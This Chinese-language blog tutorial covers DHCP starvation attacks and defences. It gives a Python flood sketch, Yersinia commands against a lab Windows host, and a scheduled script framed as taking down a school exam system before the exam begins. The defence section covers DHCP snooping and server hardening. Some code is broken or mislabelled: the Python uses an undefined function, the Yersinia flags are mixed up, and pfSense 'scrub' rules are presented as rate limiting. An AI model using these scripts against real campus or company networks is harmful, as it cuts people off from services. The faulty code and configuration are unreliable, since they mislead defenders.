🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

第3章 第19.3课

DHCP攻防实战:地址资源的饥饿游戏

大家好,今天我们探讨网络中的"地址分配员"——DHCP协议。想象一下开学季的校园网,几百名新生同时连接WiFi却无法获取IP地址的混乱场景。这就是DHCP洪水攻击的破坏力。我会用校园网和公司内网的真实案例,带你理解这种资源耗尽攻击的原理与防御。(´・ω・`)


一、实验环境搭建:地址争夺沙盘

核心设备配置

  • 攻击机:Kali Linux(IP:192.168.146.4)
# 查看网卡状态
ip link show eth0
# 输出:state UP(确保网卡启用)
  • 靶机:Windows 10(IP:192.168.146.5)
  • 隐藏角色:真实DHCP服务器(网关192.168.146.1)

网络验证

# Windows验证地址获取
ipconfig /all
# 输出:
#物理地址......: 00-15-5D-XX-XX-XX
#IPv4 地址......: 192.168.146.5(首选)

二、攻击原理:地址池的饥饿游戏

DHCP工作流程

sequenceDiagram 客户端->>DHCP服务器: Discover(广播) DHCP服务器->>客户端: Offer(提供IP) 客户端->>DHCP服务器: Request(请求IP) DHCP服务器->>客户端: ACK(确认分配)

攻击本质

# Python模拟攻击原理
class DHCPAttack:
def __init__(self):
self.fake_macs = set()

def generate_fake_mac(self):
"""生成伪MAC地址"""
return "02:00:00:%02x:%02x:%02x" % (random.randint(0,255),
random.randint(0,255),
random.randint(0,255))

def flood(self):
while True:
mac = self.generate_fake_mac()
self.fake_macs.add(mac)
send_dhcp_discover(mac)# 发送Discover包
if len(self.fake_macs) % 100 == 0:
print(f"已发送 {len(self.fake_macs)} 个伪造请求")

三、实战攻击:四步瘫痪网络

1. 启动监听(Wireshark)
# 过滤DHCP流量
wireshark -f "port 67 or port 68" -k
2. 实施地址池耗尽攻击
# 使用Yersinia发起攻击
sudo yersinia -I eth0 -G# 启动图形界面

图形界面操作路径:Attack → DHCP → Discover flood

3. 终端验证攻击效果
# Windows释放并重获IP
ipconfig /release
ipconfig /renew
# 输出:无法联系DHCP服务器(地址池耗尽)
4. 攻击流量分析
# 关键过滤条件
dhcp && bootp.option.type == 53

攻击特征

  • 高频Discover包(每秒数百个)
  • 随机源MAC地址
  • 无后续Request/ACK交互

四、校园场景攻击案例

  1. 开学季网络瘫痪
  • 攻击目标:学校迎新系统DHCP服务器
  • 影响:新生无法完成线上报到
  1. 实验室设备下线
  • 攻击目标:物联网实验室
  • 现象:智能设备集体离线
  1. 考试系统中断
# 定时攻击脚本(考前30分钟启动)
import schedule
import time

def launch_attack():
os.system("sudo yersinia -I eth0 -G -attack 1")

schedule.every().day.at("08:30").do(launch_attack)
while True:
schedule.run_pending()
time.sleep(1)

五、防御体系:三层防护策略

1. 网络设备层(Cisco防护)
! 启用DHCP Snooping
ip dhcp snooping
ip dhcp snooping vlan 10
interface gig0/1
ip dhcp snooping trust# 信任端口
2. 服务器层(地址池防护)
# Linux DHCP服务器加固
sudo vim /etc/dhcp/dhcpd.conf
# 添加:
deny unknown-clients;# 拒绝未知客户端
max-lease-time 1800;# 缩短租期
3. 终端应急方案
# Windows设置备用静态IP
netsh interface ip set address "以太网" static 192.168.146.100 255.255.255.0
# 配置备用DNS
netsh interface ip set dns "以太网" static 8.8.8.8

六、企业级防御:DHCP防火墙

校园网防护架构

graph LR 终端--DHCP请求-->防火墙 防火墙--过滤后请求-->服务器 服务器--响应-->防火墙 防火墙--安全响应-->终端

配置示例

# pfSense防火墙规则
# 限制DHCP请求速率
scrub in on $internal_if proto udp from any to $dhcp_server port 67
antispoof for $dhcp_server

总结:DHCP安全的本质

  1. 资源有限性:IP地址是稀缺资源
  2. 攻击本质:伪造请求耗尽资源池
  3. 防御核心
  • 信任边界:DHCP Snooping建立信任端口
  • 速率限制:抑制异常请求洪流
  • 应急方案:静态IP备用方案

实验建议

  1. 在实验网络测试Yersinia不同攻击模式
  2. 为宿舍路由器配置MAC地址绑定
  3. 编写Python脚本检测异常DHCP流量

当你在紧急时刻需要网络连接时,DHCP服务可能正遭受攻击。理解这种"地址饥荒"的攻防,才能在数字世界确保连接畅通。(´-ι_-`)

# 快速检测DHCP状态(Linux)
dhclient -v eth0 2>&1 | grep "DHCPACK"
# 输出:DHCPACK from 192.168.146.1 (正常)
# 无输出则可能遭受攻击
posted on 2025-08-04 10:00  鱼油YOU  阅读(56)  评论(0)    收藏  举报